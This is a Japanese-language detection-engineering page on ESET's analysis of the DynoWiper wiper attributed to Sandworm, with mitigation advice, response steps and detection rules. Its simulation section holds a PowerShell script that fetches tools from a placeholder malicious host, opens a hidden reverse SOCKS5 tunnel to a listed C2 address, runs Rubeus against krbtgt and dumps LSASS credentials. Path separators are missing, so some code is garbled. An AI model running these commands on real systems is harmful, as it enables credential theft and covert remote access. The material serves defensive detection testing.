ESETリサーチDynoWiperアップデート:技術分析と帰属
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
DynoWiperは、ポーランドのエネルギーセクター組織に対して使用された破壊的なワイパーで、運用の複数のエンドポイントに影響を与えました。実行ファイルは共有ネットワークロケーションに配置され、その共有から直接起動されました。ESETは、この活動を中程度の確信を持ってSandwormに帰属させています。一度実行されると、マルウェアはターゲットファイルをランダムバイトで破損させ、影響を完了させるための強制再起動をトリガーします。
調査
ESETは、C:inetpubpubにドロップされたschtask.exe、schtask2.exe、_update.exeの3つのサンプルを回収しました。埋め込まれたPDBパスは、バイナリがVagrant環境でコンパイルされたことを示唆しています。リバースエンジニアリングでは、3段階のワイピングルーチンがあることが示され、2つのバリアントはフェーズ間で5秒のスリープを挿入しています。妥協後のアーティファクトには、KerberosツールRubeusや、被害者のネットワーク内のrsocx SOCKS5プロキシも含まれていました。
緩和策
被害システム上のESET PROTECTは3つのバリアントすべてをブロックし、被害を制限しました。許可されていないスケジュールタスクの作成を防ぎ、共有ディレクトリへの予期しない書き込みを監視することで露出を減らします。アプリケーションの許可リスト化を追加し、可能な限りネットワーク共有からの実行を禁止します。
対応
schtask.exe、schtask2.exe、または*_update.exeを共有から実行するホストを特定して隔離します。揮発性証拠を保持し、スケジュールタスクとPowerShell展開の痕跡を確認し、Rubeusやrsocxのようなツールを削除します。完全なフォレンジックを完了し、確認されたクリーンバックアップからデータを復元します。
攻撃フロー
検出
潜在的なマルウェアの自己削除またはStderr隠蔽操作(cmdline経由)
ビュー
システムの中断または再起動を強制するために使用されるシャットダウン(cmdline経由)
ビュー
IOCs(HashSha1)を検出する:ESET Research DynoWiperアップデート:技術的分析と属性付け
ビュー
IOCs(SourceIP)を検出する:ESET Research DynoWiperアップデート:技術的分析と属性付け
ビュー
IOCs(DestinationIP)を検出する:ESET Research DynoWiperアップデート:技術的分析と属性付け
ビュー
スケジュールタスクの実行を通じたDynoWiper展開の検出【Windowsファイルイベント】
ビュー
悪意のあるツールおよびLSASSメモリダンプの検出【Windowsプロセス生成】
ビュー
シミュレーション実行
前提条件:テレメトリとベースラインのプリフライトチェックが合格していること。
理由:このセクションでは、検出ルールをトリガーするように設計された攻撃者技術(TTP)の正確な実行を詳細に説明します。コマンドとナラティブは、特定されたTTPsを直接反映させ、検出ロジックによって期待される正確なテレメトリを生成することを目指します。抽象的または無関係な例は、誤診につながります。
-
攻撃の流れとコマンド:
- リバースSOCKS5プロキシを確立する 使用
rsocx.exe。攻撃者は外部サーバーからバイナリをダウンロードし、%TEMP%に配置し、-r 31.172.71.5:8008引数で実行して、C2ホストへの逆トンネルを作成します。 - Kerberosチケットの悪用を行う と
rubeus.exe。このツールは、ドメイン管理者アカウントのためのKerberosチケット授与チケット(TGT)を要求し、その後、サービスチケット(s4u2self). - LSASSのメモリをダンプする 使用
procdump.exe(タスクマネージャーの一般的な代替手段)を使用して資格情報をキャプチャします。Sysmonは、攻撃者のprocdump.exeプロセスがにアクセスしたプロセスアクセスイベントを記録します。lsass.exeを使用して、0x1010許可されたアクセスマスク(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION).
- リバースSOCKS5プロキシを確立する 使用
-
回帰テストスクリプト:
# ------------------------------------------------------------- # シミュレーションスクリプト – rsocx、rubeus、 # およびLSASSダンプ用にSigmaルールをトリガーします。管理者権限で実行してください。 # ------------------------------------------------------------- # 1. rsocx.exe(リバースSOCKS5プロキシ)を展開 $rsocxPath = "$env:TEMPrsocx.exe" Invoke-WebRequest -Uri "http://malicious.example.com/rsocx.exe" -OutFile $rsocxPath Start-Process -FilePath $rsocxPath -ArgumentList "-r 31.172.71.5:8008" -WindowStyle Hidden # 2. rubeus.exe(Kerberosの悪用)を展開 $rubeusPath = "$env:TEMPrubeus.exe" Invoke-WebRequest -Uri "http://malicious.example.com/rubeus.exe" -OutFile $rubeusPath Start-Process -FilePath $rubeusPath -ArgumentList "dump /service:krbtgt" -WindowStyle Hidden # 3. procdumpを使用してLSASSをダンプ(Sysinternalsが必要) $procdumpPath = "$env:TEMPprocdump.exe" Invoke-WebRequest -Uri "https://download.sysinternals.com/files/Procdump.zip" -OutFile "$env:TEMPprocdump.zip" Expand-Archive -Path "$env:TEMPprocdump.zip" -DestinationPath $env:TEMP -Force $procdumpExe = Get-ChildItem "$env:TEMP" -Recurse -Filter "procdump.exe" | Select-Object -First 1 if ($procdumpExe) { Copy-Item $procdumpExe.FullName $procdumpPath -Force Start-Process -FilePath $procdumpPath -ArgumentList "-ma lsass.exe $env:TEMPlsass.dmp" -Wait } Write-Host "シミュレーション完了。SIEMでアラートを確認してください。" -
クリーンアップコマンド:
# 残っている可能性のある悪意のあるプロセスを終了します。 Get-Process -Name "rsocx","rubeus","procdump" -ErrorAction SilentlyContinue | Stop-Process -Force # バイナリとダンプファイルを削除 Remove-Item -Path "$env:TEMPrsocx.exe","$env:TEMPrubeus.exe","$env:TEMPprocdump.exe","$env:TEMPlsass.dmp" -Force -ErrorAction SilentlyContinue # 任意で一時的なダウンロードディレクトリを削除 Remove-Item -Path "$env:TEMPProcdump.zip","$env:TEMPprocdump" -Recurse -Force -ErrorAction SilentlyContinue Write-Host "クリーンアップ完了。"